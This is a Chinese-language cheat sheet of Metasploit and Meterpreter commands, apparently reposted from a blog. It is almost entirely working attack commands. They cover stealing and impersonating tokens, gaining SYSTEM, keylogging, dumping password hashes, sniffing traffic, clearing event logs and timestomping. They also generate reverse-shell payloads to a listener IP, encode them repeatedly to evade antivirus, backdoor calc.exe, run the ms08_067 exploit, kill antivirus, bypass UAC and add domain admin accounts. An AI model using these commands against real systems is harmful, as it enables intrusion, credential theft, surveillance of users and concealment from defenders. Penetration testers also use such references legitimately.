list_tokens -u 查看可用用戶token
list_tokens -g 查看可用組token
impersonate_token DOMAIN_NAME\USERNAME 模仿token
steal_token PID 竊取PID 所屬token 並模仿
drop_token 停止模仿token
getsystem 獲取SYSTEM 權限
shell 運行shell
execute -f cmd.exe -i 交互式運行cmd
execute -f cmd.exe -i -t 使用可用token 運行
execute -f cmd.exe -i -H -t 同上,同時隱藏進程
rev2self 返回至初始用戶
reg command 修改註冊表
setkesktop number 切換至另一已登錄用戶屏幕
screenshot 截屏
upload file 上傳文件
download file 下載文件
keyscan_start 開始截取擊鍵記錄
keyscan_stop 停止截取擊鍵記錄
getprivs 儘可能提升權限
uictl enable keyboard/mouse 獲取鍵盤或鼠標的控制權
background 將當前meterpreter shell 轉入後臺
hashdump 導出所有用戶hash
use sniffer 加載嗅探模塊
sniffer_interfaces 查看可用網卡接口
sniffer_dump interfaceID pcapname 開始嗅探
sniffer_start interfaceID packet-buffer 指定buffer 範圍嗅探
sniffer_stats interfaceID 抓取統計信息
sniffer_stop interfaceID 停止嗅探
add_user username password -h ip 添加用戶
add_group_user “Domain Admins” username -h ip 添加用戶至管理組
clearev 清空日誌
timestomp 改變文件屬性如創建時間等
reboot 重啓

MSFpayload Commands

msfpayload -h 查看幫助
msfpayload windows/meterpreter/bind_tcp 0
查看指定payload 可用選項
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 X >
payload.exe
生成payload.exe
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R >
payload.raw
保存爲RAW 格式,可用於msfencode
msfpayload windows/meterpreter/bind_tcp LPORT=443 C > payload.c
保存爲C 格式
msfpayload windows/meterpreter/bind_tcp LPORT=443 J > payload.java
保存爲java 格式

MSFencode Commands

msfencode -h 查看幫助
msfencode -l 查看可用encoder
msfencode -t (c,elf.exe,java.js_le,js_be,perl,raw,ruby,vba,vbs,loop-vbs,asp,war,macho)
以指定格式顯示編碼後的buffer
msfencode -i payload.raw -o encoded_payload.exe -e x86/shikata_ga_nai -c 5 -t exe
生成編碼後的exe
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -e x86/countdown -c
5 -t raw | msfencode -e x86/shikata_ga_nai -c 5 -t exe -o multi-encoded.exe
多編碼器結合,多次編碼
msfencode -i payload.raw BufferRegister=ESI -e x86/alpha_mixed -t c
生成純字符格式C 類型shellcode

MSFcli Commands

msfcli |grep exploit 只顯示exploit
msfcli | grep exploit/windows 只顯示windows exploit
msfcli exploit/windows/smb/ms08_067_netapi PAYLOAD=windows/meterpreter/bind_tcp
LPORT=443 RHOST=172.16.32.26 E
針對指定IP 加載指定exp 並設定payload

MSF,Ninja,Fu

msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R |
msfencode -x calc.exe -k -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
使用calc.exe 作爲模板,生成經過編碼的後門
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=443 R |
msfencode -x calc,exe -o payload.exe -e x86/shikata_ga_nai -c 7 -t exe
與上面差不多,只是執行的時候不依賴於生成的可執行文件,且不會有任何提示信息
msfpayload windows/meterpreter/bind_tcp LPORT=443 R | msfencode -o payload.exe
-e x86/shikata_ga_nai -c 7 -t exe && msfcli multi/hanler
PAYLOAD=windows/meterpreter/bind_tcp LPORT=443 E
生成編碼後的payload 並開始監聽本機端口

MSFvenom

msfvenom –payload 自動生成payload

Meterpreter Post Exploitation Commands

提權一般步驟
meterpreter> use priv
meterpreter> getsystem
meterpreter> ps
meterpreter> steal_token 1784
meterpreter> shell
net user msf msf /add /DOMAIN
net group “Domain Admins” msf /add /DOMAIN
獲取hash 一般步驟
meterpreter> use priv
meterpreter> getsystem
meterpreter> hashdump
如果是在win2008 系統上:
meterpreter> run migrate
meterpreter> run killav
meterpreter> ps
meterpreter> migrate 1436
meterpreter> keyscan_start
meterpreter> keyscan_dump
meterpreter> keyscan_stop
使用Incognito 提權
meterpreter> use incognito
meterpreter> list_tokens -u
meterpreter> use priv
meterpreter> getsystem
meterpreter> list_tokens -u
meterpreter> impersonate_token IHAZSECURITY\Administrator
查看保護機制並禁用之
meterpreter> run getcountermeasure
meterpreter> run getcountermeasure -h
meterpreter> run getcountermeasure -d -k
檢查是否是虛擬機
meterpreter> run checkvm
轉入命令行
meterpreter> shell
遠程VNC 控制
meterpreter> run vnc
轉入後臺
meterpreter> background
Bypass UAC
meterpreter> run post/windows/escalate/bypassuac
OS X 系統上dump hash
meterpreter> run post/osx/gather/hashdump
Linux 系統上dump hash
meterpreter> run post/linux/gather/hashdump

轉自:http://blog.csdn.net/tan6600/article/details/46850057

QQ羣:11511420

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章